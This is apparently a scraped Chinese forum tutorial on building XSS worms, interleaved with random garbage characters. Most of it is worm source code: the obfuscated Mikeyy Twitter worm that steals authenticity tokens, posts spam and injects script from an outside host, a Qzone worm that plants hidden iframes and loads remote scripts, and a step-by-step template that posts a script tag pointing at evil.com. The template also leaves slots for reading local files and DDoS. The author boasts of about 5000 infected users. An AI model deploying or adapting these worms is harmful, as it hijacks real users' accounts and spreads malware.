& R3 x5 x: w3 i5 j/ F( h

8 P, d( x7 w5 O) u% K3 N
- ~4 v5 g! B6 H( H2 @$ ^XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
! r4 S7 T, `# L5 G0 X! k8 X  I
  y  m9 I6 b  B9 ~, EXmlHttp.send(null);
9 }6 F; K  ^: p0 g" O: y, @3 _1 W
# m# t/ z1 u8 I<script>
- ?) s4 O/ }" f' e- k# |, d4 u: N复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
- `( |/ n; M! m1 J( W' j4 n复制代码案例:Twitter 蠕蟲五度發威
6 a, \: J; L3 I( q第一版:
( w7 ]$ T; _, Q( C# N  下载 (5.1 KB)

6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

! Y% ?6 ~. P. L" {/ V+ W   2.   
  ~  F: l) ~* Z( ?* H8 T$ n2 p
( S' F% y: o; L/ v- \   3. function XHConn(){  
# {4 s9 N8 i' V% D7 @
   4.   var _0x6687x2,_0x6687x3=false;  
7 I& |/ W) U$ R1 j& Q
) c! n* V9 g+ z: l3 G8 ^9 b+ g   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
) M1 o3 b) [- U9 i; J1 ]
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
" p0 o6 b2 `5 ^% l* F5 D0 O6 ^& V  e$ P
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

$ ]' o* y/ G9 D& q& d% v  M   2.   var content = document.documentElement.innerHTML;  
* G( X6 N5 K1 t% Y8 ]/ Z" N
   3.   var tmp_cookie=document.cookie;  
4 t( A: p+ c. `# a' j! h& Q
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

6 y8 o: m: T% H( u% e+ X5 V0 M   7.   var authtoken=authtoken[1];  

6 j, f6 [8 k8 F/ O" ~7 N   8.   var randomUpdate= new Array();  
2 Z. ^/ ^6 i) e4 K" q: a
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
4 m$ B; R: O/ j* m
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

4 H$ F9 ^, O8 s: x  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
9 m8 h! ]: I% z: D: h) x  P
" b. c8 v0 k0 ^$ c7 f  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
2 ?1 R  l; Q" u4 H- [' ^
  T3 R) b5 ^2 ~2 @, n0 Q3 Z  B  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
4 \! V: Q8 f/ b8 e
) Z) j+ v$ Z' u9 I. w/ J  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
! l. d: d0 U- T% W( g
9 m# L0 N! o6 ~4 J1 a5 K* I( Q. H  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
& `. e( U8 K( u, p, W- b
2 m6 |6 _7 i1 `- p8 j" q+ D. K$ L  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
+ m- C+ {  A! }7 l* ~# F
* H6 U& p& t0 V5 B1 Y  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
1 W( n; D$ D( R( g5 f+ E. R/ k
( F0 v/ y2 z! A0 V# T  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
" m2 n8 m( e8 |$ P) g/ i
' M4 x+ l4 j3 B- [- \8 ^, f  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
( {& f- z& a) Z" p  M1 d, ^
% M. Y- ~% L: u; V; E; z  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

- A" f- L1 T6 }* z; D/ V  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
8 t2 ?0 Y4 c) _1 s$ p, z% q8 Q
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

; j! i% o, {+ p$ H# `9 |8 w  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

3 z8 p6 ^* E" W/ O  27.     
' B: E+ ?& y. T  u0 Q
  28.   var ajaxConn= new XHConn();  
. F2 q- u0 l( r2 e+ r8 ?$ @' U3 g
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

9 g( u: Q- U9 e9 p  30.   var _0xf81bx1c="Mikeyy";  
( B$ C8 T; F: d
+ }  R, d/ c9 \7 |- Q2 D3 V) O  P  31.   var updateEncode=urlencode(_0xf81bx1c);  
( }- E  W) D% R* O  V3 K
  32.   var ajaxConn1= new XHConn();  

: C( p6 [4 d2 h. V! k  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
& N. W( s( Q" S
/ ^) Z3 q) Z; ], l  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
3 ~7 T, J, W3 X0 x
& ~. V- X8 Z+ W; Z$ G. u  35.   var XSS=urlencode(genXSS);  

' [) y$ M2 ?/ H* y  36.   var ajaxConn2= new XHConn();  

: v4 w7 e; G0 `' Z0 k) ^! d  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

& q+ F2 z1 I9 \& z1 X4 R  38.     
& r0 w) _0 j/ O! L
7 Z" p4 L# r! M7 r5 ~# o  39. } ;  
* n. I3 b/ G* s) c0 h/ {, K
7 t. r  n; K  W# m7 J4 v' Y6 r  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
7 N% U! y8 [+ E, |' [9 J
2 P5 p; p0 ]6 }3 ~window.onerror=killErrors;
8 u1 v% g% J0 M, {


) \$ [0 b. u9 Q% n- z9 A/ Dvar shendu;shendu=4;

, P# C7 D; k' B$ V4 o//---------------global---v------------------------------------------
8 d' e1 ?0 K7 X0 B" R) U- U
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
, @: _5 r* G( i- b  L8 ~1 |% ?
1 T& V5 D+ Z  G& x/ u7 }; G0 b& tvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ t' [% u! C1 D9 J( K, n2 O: a
2 ]; Q$ x7 c# Q7 \0 C5 Wvar myblogurl=new Array();var myblogid=new Array();
( }6 ]& |" B3 F+ ^
        var gurl=document.location.href;
  q7 V4 l) `! k3 |7 K, W1 ?
/ E( V& W& i  l! x9 X2 N% h; t/ G        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
; Z- j( q4 h# M8 w3 d
! i5 ^( r2 R0 `2 [2 _( M9 z$ C% c        var visitorID=top.document.documentElement.outerHTML;

+ f2 Y1 z' @# W7 \; N, r           var cookieS=visitorID.indexOf("g_iLoginUin = ");
& z: C1 H* ]% p: _
: o; k; a" J% E; z4 B        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
& m8 V; F: F. U2 y2 P2 a
        visitorID=visitorID.substring(0,cookieS);

, I# U" H- k2 \9 k4 w0 u2 p        get_my_blog(visitorID);

        DOshuamy();

) z% y7 ^+ ~9 G

4 q3 F) ]# y6 C4 x//挂马

& \$ z/ d: @/ Q, N, I8 g& sfunction DOshuamy(){
: o' F2 D6 \3 @0 c0 L0 J1 r; ?
7 z% Y; G$ \  [9 Nvar ssr=document.getElementById("veryTitle");
( s/ {) Y& g& ~/ D6 @2 P
  w& B- v, J8 y+ l  Sssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
& a. P5 _: O0 x4 [( T# @3 B
}



. E, m# m: F: ^2 _//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
+ i; p% r* ?6 y$ m0 t- P+ C! _
- a) w4 k  c) Ofunction get_my_blog(visitorID){
: K' G+ {' |. ?
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
) u4 u% f, f+ b& c! W; u
: D  _# H4 {7 r4 o! j1 o   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
3 u% Q$ i6 T+ Q3 l" q
   if(xhr){    //成功就执行下面的

0 ]0 j7 A3 s* v: H3 o8 A6 T& U     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
$ K  w* s8 h; G+ x( b2 m5 U
     xhr.send();guest=xhr.responseText;

! F) V: a% V$ F0 z, F& F5 a' B     get_my_blogurl(guest);    //执行这个函数

    }
1 [& |/ d$ W8 `6 d" k, p/ h
8 x$ l; n+ ]5 s5 N5 x5 M}

* Z% H3 W8 h* ~. `3 V1 O* p
6 R" X8 i/ z( K1 N2 H  L) d
//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;
. f* ?- O5 L( B
  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
! w; i9 a  F, B( i+ |
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
* S# W: ^0 u8 w+ f
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

0 i0 Z2 _; T4 T$ O4 q( t% W- m2 I         myurls=mybloglist.indexOf(')');
  ~; N7 F2 J- @1 a7 q# f+ V7 X' V
: K) d, D+ A1 G$ ?& j2 h% H         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

- T/ d& [2 d2 d2 y$ B: T}

+ Y0 Q) z+ f( cget_my_testself();    //执行这个函数
" T- z: |% f) H) K, u2 H7 Q* }
; [; Y) U. {- p8 t+ J# m. u}

' i0 l# t# x7 W! |$ O

* Z( z4 @7 B; g7 ^! n! D% L//这里往哪跳就不知道了
- A+ U1 O) v5 Q! i3 t" k: @
function get_my_testself(){
1 _" T1 X9 q0 q( a- D
- W7 W& [) F5 |0 F( U, w  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

) _. C& W/ p- q& L, X/ T8 j      if(xhr2){        //如果成功
  U2 e. K: G9 F' L" ?
9 N4 y+ ~1 l# D              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
, G1 ?: L/ c% f8 N" ?3 |
              guest2=xhr2.responseText;
1 u2 ?/ U; ^4 L% m4 j, }% D) p9 ?
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
6 y& U3 }5 y, a# [/ e7 ?1 `/ s) [, t
  C) G/ k) i+ }& `8 z              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
0 F- y8 M  H1 }$ {
+ }* r* R+ M% t                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
. c8 i* k! q6 T5 j) l  K+ q
                break;

$ ~; w$ J0 c( }$ t3 ]  d6 x2 h: P               }
8 U3 ~5 r* C9 l9 E' L
4 }" \2 G0 Q3 K' X1 p& o              if(mycheckit=="-1"){
( U7 b6 f& Q0 Y
                targetblogurlid=myblogid;
1 R' X3 i- u  E) B
                add_js(visitorID,targetblogurlid,gurl);    //执行它
: D$ Z5 Q7 d8 \% W0 B+ A
8 @1 g6 R! g9 R3 U; ~, ~5 D( y1 a                break;
9 ]& H0 |9 D9 U" F+ n& K: {
               }
9 m2 Q; `" n3 M0 N) {) q
  ?+ Q. O: T8 x        }      

}

}
2 V0 ?. t; I  A3 B0 l" n

* C  j% ^. G$ u; Z1 M; a; O  Z
//--------------------------------------  
7 A3 y5 r$ N4 R; l$ W
8 V. l, ~8 z  y0 w3 T- n//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
( u7 X5 v* k- L9 O- j
    var XMLhttpObject=null;  
4 f) X2 L$ R! j" c3 A
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

% L/ S5 _9 K0 H+ `4 Z3 q0 L. {3 M        for(var i=0;i<MSXML.length;i++)  
7 c% }9 c2 b0 A6 L7 O
        {  

$ S( l. [+ j5 ?$ [* b            try  

            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
  j# s* |) B! `8 R
                break;  
' Z* {/ W& F$ K7 |  w0 _/ c3 L
! q& u! G6 B! ]/ F( A            }  

+ f9 K  ~  b" p, J            catch (ex) {  

/ M; J* h8 k: K/ s2 _. [            }  

         }  
6 e5 g5 f4 T# z+ F
& p$ Q" j, u) t      }
! i- {: \" W0 t  b. q$ N. F% q  F
# G$ S8 c) E3 g: B' s1 u1 y- s+ Kreturn XMLhttpObject;
5 G6 Z1 Q7 B& @- F. P8 v9 Q4 T
}  
# p  E- ?; W( w: X) b

+ X) h+ n& J3 X) M; N' q
//这里就是感染部分了

) p$ {) K8 P: l# ^+ G4 d) gfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ ~: G, |3 e) k
" v1 ^# x6 X2 ms2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

+ R  A3 b) w% ?! ?* @' H) A7 Z}


% o, t3 G$ C, P/ w3 @) ~0 O
function add_jsdel(visitorID,targetblogurlid,gurl){
; z& B0 v9 {4 e5 {
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
8 t) \8 E9 m3 E* G/ B  {1 A
. g- G6 G. D3 zs2.type='text/javascript';
  a" e% Z; ~/ [/ S
0 ?% W8 w- c6 _document.getElementsByTagName('head').item(0).appendChild(s2);
/ J) j/ P' x4 o0 E9 i
6 {2 b7 e9 }! g: M1 i}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
" o: i' F% b) R/ M
; G+ e5 z; s: u0 v- h( C" k2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
# k" k6 B( j* y. U' v6 M
* \& V/ T, m* E1 R5 o' G综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
' T5 m6 [4 f6 G. B+ W
7 d! D0 c# r7 [! Q) w2 o首先,自然是判断不同浏览器,创建不同的对象var request = false;
% f9 }. K# S* n9 O0 v9 K$ [; n
if(window.XMLHttpRequest) {

8 S  R; H8 ]& S4 e! F8 S$ prequest = new XMLHttpRequest();
" F5 `! {1 D9 O, ]! T; v3 i
2 ?- D' b( I9 s: C2 Lif(request.overrideMimeType) {
$ ]% @1 }. q! u3 F( x
* |% I( J) A4 j! ?# u+ |- h; crequest.overrideMimeType('text/xml');
3 [) m& G. C" b
- ]# V' f4 I' i. R, |6 R3 N}

$ N2 U% K" P6 v7 c/ E} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 U, R& U& A* R6 H
for(var i=0; i<versions.length; i++) {
7 }6 [& q3 a- ]" \  i# N( L
% C/ {3 m, U/ h( V: \- H4 Btry {
' v  q1 K4 B$ U; N4 D
request = new ActiveXObject(versions);

$ n) W3 u- N8 H, r+ S' u0 D% h! k} catch(e) {}
. l- n5 C$ }+ f/ I; Y7 B1 d
# N* b5 H  |* e# j: C) y}

}
- [4 K, T, e2 b/ v
6 {7 x! q0 I+ L7 l* {' X( OxmlHttpReq=request;
0 ]% u0 i! y$ c/ v8 E复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

$ X! f1 O, U, e6 L6 O+ N        var Browser_Name=navigator.appName;

! |% ]  q$ B, D2 t5 g0 t! V        var Browser_Version=parseFloat(navigator.appVersion);

4 @3 Q6 m9 R2 D+ b' r3 N        var Browser_Agent=navigator.userAgent;

        
1 W' T1 n1 ~. _  p3 Y( c& h
        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
( \4 k- A6 Y/ o6 P4 u
        var is_NN=(Browser_Name=="Netscape");

7 H* ?/ e8 s: V9 R9 p  q5 P        var is_Ch=(Browser_Name=="Chrome");
! e* X( t- R) J, h) \3 N! R' V
        
- \( u4 }# h# h$ t
        if(is_NN){

2 M- f9 f- p' W" }# ?4 Y            if(Browser_Version>=5.0){
9 r! o/ h( u/ o
' W; M/ N- C8 c! b7 [4 L, U                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 J% @0 }; |) t. i
* W0 p) Z4 k; a, @                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
5 \0 ]; k1 q$ D3 Y
; X7 d; ^" T( F! ~5 g) A) W

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
  a; @1 @5 A5 m" g0 ^# S4 \+ R+ M
  S0 j# o: d" c4 h# B                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 s$ x) U* @9 }0 b
  x& B+ c* t1 F3 p2 U1 Z            }

            else{

                Actual_Version=Browser_Version;
. A/ ?- f  O/ E  P) t
                Actual_Name=Browser_Name;

            }
0 s! S/ F6 k8 O) f) p# m
        }
& l2 u# c5 ~9 A7 X
        else if(is_IE){
' g5 X; C7 u/ d  E! ^" ?% I
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

8 Z6 d& L, z) c) A) v            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
- B. }7 J( J! F2 n- U, }
            Actual_Name=Browser_Name;

! k8 O0 t$ ~6 R& p3 T) H( y( B! F7 ]& e; [            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
; M  U: W+ t' L2 [9 X9 N
                Actual_Name+="(Maxthon)";

            }
' z! X+ V4 p" M0 ?4 ]9 q% G
  Q$ H4 w7 K! A            else if(Browser_Agent.indexOf("Opera")!=-1){
; [8 S8 M, ]( B( R
; `, J" y4 E4 i) ]                Actual_Name="Opera";

$ y0 X5 A- s7 U  y9 O# y4 p                var tempstart=Browser_Agent.indexOf("Opera");

! S4 v; r7 J. q: K" @                var tempend=Browser_Agent.length;
8 X8 R8 e& O9 X  g% \7 c) {$ f
8 S% q7 S) X0 [1 k" W2 u1 K                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
+ Q& j1 ~" b+ @2 q
3 ^' a& q( t5 v( h+ H. l+ a( c            }

3 Z. m7 [  E, C: O: B4 ^. ?        }

' _7 h0 i# V% g3 k0 T        else if(is_Ch){
" s. S- i. \6 U: n1 D
1 ]; C. f6 b' k& ]0 t% Q) d6 a            var Version_Start=Browser_Agent.indexOf("Chrome");
" l- ]; S9 |  T0 Q' U
/ X* ^0 G* h3 y            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

; I6 _# y5 K$ V" G            Actual_Name=Browser_Name;
& S" d0 O) S, G  k2 c
            
0 T, j- d/ M2 E
5 Z! d2 j6 `* L- c. |            if(Browser_Agent.indexOf("Maxthon")!=-1){

5 ?; J' }% F. ^! o                Actual_Name+="(Maxthon)";

. o$ _- z5 X% S  V            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
6 a: p6 B. ^( k; r  h7 t+ y9 i0 R
& [) R4 D* |! O% R' D, D# }: T5 Q                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
- G3 W( i/ |" P- d" J
* ~& V1 h& X' s0 V                var tempend=Browser_Agent.length;
' V1 T( [/ l$ b4 p% O  Q2 @
+ B% H, d5 [) ?8 b- J: I7 [# J  U                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
$ r/ M; v: T8 O% I) g; S
+ M. _6 M7 ~# F) W2 N' t) }5 E            }
, W7 k. r; q3 `1 L
  D8 i4 n2 r* [6 [- K        }

        else{

            Actual_Name="Unknown Navigator"

4 U! A9 |3 r6 m3 M            Actual_Version="Unknown Version"

        }


2 H8 F! U9 D( G9 T5 t* p- v
        navigator.Actual_Name=Actual_Name;
& ]6 C' @' h- v9 u9 I* u
        navigator.Actual_Version=Actual_Version;

+ e+ A& r! q, m( t        
2 F, M; }8 `+ P; x
        this.Name=Actual_Name;
1 q; X- M. l! a* k& g' q
+ L& e* }+ A# |" Z/ u. B) G" {        this.Version=Actual_Version;
+ n' J! o* G8 x6 F* M8 p
5 W/ F; c) B7 c* F$ Y    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ a2 s/ ^: H$ E# r' P! M
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) A0 f" `+ a' q" f7 e复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
1 h9 }  p' C- u( i! t复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
( v& f1 u; F# Z# t复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

1 x  ?0 t5 }6 Q% Y$ `, P5 ~$ axmlHttpReq.send(null);
7 x; t0 s- e4 P
var resource = xmlHttpReq.responseText;

* q0 C! O2 Y' w- e( y1 Ovar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: [$ {+ d/ [1 v6 k1 N6 R0 Y
9 ^' o( R: V* ^9 Gwhile ((result = patt.exec(resource)) != null)  {
* g1 }8 N6 O% h  R; k# W& L' x
id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

+ C$ X6 N6 L/ Evar post="wd="+wd;
7 @/ ^7 A8 a, s0 n/ C' E
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

4 P3 W; A" \1 p$ pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
0 l/ s1 z9 n  H( B: n, _
% c$ p/ a- w& {xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' B+ P- f1 W+ j. ?( H8 R6 c
xmlHttpReq.send(post);
4 T6 h; ~! [* w' y, j0 g. l
- n; D9 G$ Z# G5 l' o; z}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
" G2 y! |& o5 p8 _& d% `0 K' N% A
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
7 ^7 f! ~; n3 Y' ^3 ^) R- w6 x
var post="wd="+wd;

# u) {& J- U+ {2 vxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

5 }/ b" s# G3 r, qxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! f* y' Y; _  Z: L+ ?
xmlHttpReq.setRequestHeader("content-length",post.length);
0 K( P. \8 {; B1 @5 ^+ n8 r4 ~
7 i7 V9 O3 k" R) h/ x4 |xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

8 |5 f8 A4 t' {& o9 |3 ^xmlHttpReq.send(post);                 //把传播的信息 POST出去.

% `, b- W( _& t2 l# m}
& U+ ^2 Z+ Z, D* K- ~5 D+ U复制代码-----------------------------------------------------总结-------------------------------------------------------------------

+ y  _) J" ?- K0 B
6 |& a3 f& I' u7 d; S
& }7 L. i+ H5 u5 |本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

& \% |* D) i$ c- i3 E' \
" U/ e7 C& b) H2 r6 g+ N


" z. p7 x; O0 d# `  T


9 Z; s; p* ~/ l2 i9 l% e+ F本文引用文档资料:
. V0 p! I6 K( p/ z
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
/ S4 {+ Z6 u# z  XOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
